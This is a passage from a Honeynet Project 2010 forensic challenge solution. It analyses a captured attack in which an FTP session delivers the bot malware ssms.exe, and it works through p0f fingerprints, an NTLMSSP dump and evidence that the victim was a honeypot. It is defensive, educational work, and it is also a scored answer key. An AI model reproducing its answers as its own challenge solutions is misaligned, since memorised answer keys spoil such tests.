server opens a BINARY mode data connection to transfer ssms.exe.
The file transfer is completed and status code 226 confirms this, indicating “Closing data connection.
Requested file action successful (for example; file transfer or file abort).”
The FTP session is completed and closed (status code 221, meaning ”Service closing control connection.
Logged out if appropriate”). The FTP server closing connection message “Goodbye happy r00ting” further
confirms that this is a malicious FTP server. “r00ting” is an elitespeak verb for the process of conducting
computer intrusions in order to gain root access to victim system.
The FTP session successfully acquires a file. Starting at packet number 68 (and the TCP stream reconstructed
with packets 69, 71-79, along with 80-338, and 343) is the transfer of the windows executable file, ssms.exe.
The binary was extracted from the network traffic, as shown in Figure 1.8, and analyzed for the purpose of
gaining greater insight into the nature and purpose of this attack.
2
Open Source research for “NzmxFtpd” reveals numerous references to malicious
network traffic/malware. (E.g.http://doc.emergingthreats.net/bin/view/Main/2009211)
The work is licensed under a Creative Commons License.
Copyright © The Honeynet Project, 2010
Page 16 of 20
THE HONEYNET P R O J E C T® | Forensic Challenge 2010
Question 9: Do you think a Honeypot was used to pose as a vulnerable victim? Why? (6pts)
Tools used: p0f, wireshark
There is a mistake in the FTP instructions, the host is instructed to connect to an ftp service at address 0.0.0.0.
Nevertheless, the attacked host connects to an ftp service, it ignores the instructions to connect to 0.0.0.0 and connects
to the host of the attacker instead. Therefore we can assume some honeypot software was used, as normal ftp clients
stick to their commands.
The port choosen for active ftp transfer is 1080, which is pretty low:
The choosen ftp port does not suffer from any known limitations with different malware families:
http://carnivore.it/2006/07/09/common_ftp_bug
p0f -s /tmp/attack-trace.pcap
p0f - passive os fingerprinting utility, version 2.0.8
(C) M. Zalewski <[email protected]>, W. Stearns <[email protected]>
p0f: listening (SYN) on '/tmp/attack-trace.pcap', 262 sigs (14 generic, cksum 0F1F5CA2), rule: 'all'.
98.114.205.102:1821 - Windows XP SP1+, 2000 SP3
-> 192.150.11.111:445 (distance 15, link: ethernet/modem)
98.114.205.102:1828 - Windows XP SP1+, 2000 SP3
-> 192.150.11.111:445 (distance 15, link: ethernet/modem)
98.114.205.102:1924 - Windows XP SP1+, 2000 SP3
-> 192.150.11.111:1957 (distance 15, link: ethernet/modem)
192.150.11.111:36296 - Linux 2.6 (newer, 3) (up: 11265 hrs)
-> 98.114.205.102:8884 (distance 0, link: ethernet/modem)
98.114.205.102:2152 - Windows XP SP1+, 2000 SP3
-> 192.150.11.111:1080 (distance 15, link: ethernet/modem)
The attacker is somewhere in the Windows family, the victim a linux host.
tshark used to get some information about the NTLMSSP from the attack:
.... .... .... 1... .... .... .... .... = Negotiate NTLM2 key: Set
.... .... .... .0.. .... .... .... .... = Target Type Share: Not set
.... .... .... ..1. .... .... .... .... = Target Type Server: Set
.... .... .... ...0 .... .... .... .... = Target Type Domain: Not set
.... .... .... .... 1... .... .... .... = Negotiate Always Sign: Set
.... .... .... .... .0.. .... .... .... = Negotiate 0x00004000: Not set
.... .... .... .... ..0. .... .... .... = Negotiate OEM Workstation Supplied: Not
set
.... .... .... .... ...0 .... .... .... = Negotiate OEM Domain Supplied: Not set
.... .... .... .... .... 0... .... .... = Negotiate 0x00000800: Not set
.... .... .... .... .... .0.. .... .... = Negotiate NT Only: Not set
.... .... .... .... .... ..1. .... .... = Negotiate NTLM key: Set
.... .... .... .... .... ...0 .... .... = Negotiate 0x00000100: Not set
.... .... .... .... .... .... 0... .... = Negotiate Lan Manager Key: Not set
.... .... .... .... .... .... .0.. .... = Negotiate Datagram: Not set
.... .... .... .... .... .... ..0. .... = Negotiate Seal: Not set
.... .... .... .... .... .... ...1 .... = Negotiate Sign: Set
.... .... .... .... .... .... .... 0... = Request 0x00000008: Not set
.... .... .... .... .... .... .... .1.. = Request Target: Set
.... .... .... .... .... .... .... ..0. = Negotiate OEM: Not set
.... .... .... .... .... .... .... ...1 = Negotiate UNICODE: Set
NTLM Challenge: 94EF6062E06DB5DF
Reserved: 0000000000000000
Address List
Length: 76
Maxlen: 76
Offset: 60
Domain NetBIOS Name: VIDCAM
Target item type: NetBIOS domain name (0x0002)
Target item Length: 12
Target item Content: VIDCAM
Server NetBIOS Name: VIDCAM
Target item type: NetBIOS host name (0x0001)
Target item Length: 12
Target item Content: VIDCAM
Domain DNS Name: VIDCAM
Target item type: DNS domain name (0x0004)
Target item Length: 12
Target item Content: VIDCAM
Server DNS Name: VIDCAM
Target item type: DNS host name (0x0003)
Target item Length: 12
Target item Content: VIDCAM
Unknown type:0x0006
Target item type: Unknown (0x0006)
Target item Length: 4
Target item Content: \001
List Terminator
Target item type: End of list (0x0000)
Target item Length: 0
Native OS: Windows 5.1
Native LAN Manager: Windows 2000 LAN Manager
The software which was attacked is likely to be a honeypot, given the eloquence in NTLMSSP I'd guess it was a
honeytrap running on linux in mirror mode for port 445.
If we assume honeytrap was used in mirror mode, it is likely the information passed in the NTLMSSP (VIDCAM)
belongs to the attacker himself. Given the honeypots location in an network range belonging to adobe, and the
VIDCAM string from the NTLMSSP, maybe the honeypots address was replaced with the attackers address?
Question 10: Was there malware involved? Whats the name of the malware (We are not looking for a detailed
malware analysis for this challenge) (2pts)
The file retrieved from the FTP server in the attack, ssms.exe, is malware—in particular an rbot variant possibly known
as “NzM Bot.”3 (2pts) The file profiling of this specimen was conducted as was behavioral and functionality analysis.
3
Strings in the code announce “NzM Version 1.0 By N00bS, FaRcO and NaRcO”
The work is licensed under a Creative Commons License.
Copyright © The Honeynet Project, 2010
Page 20 of 20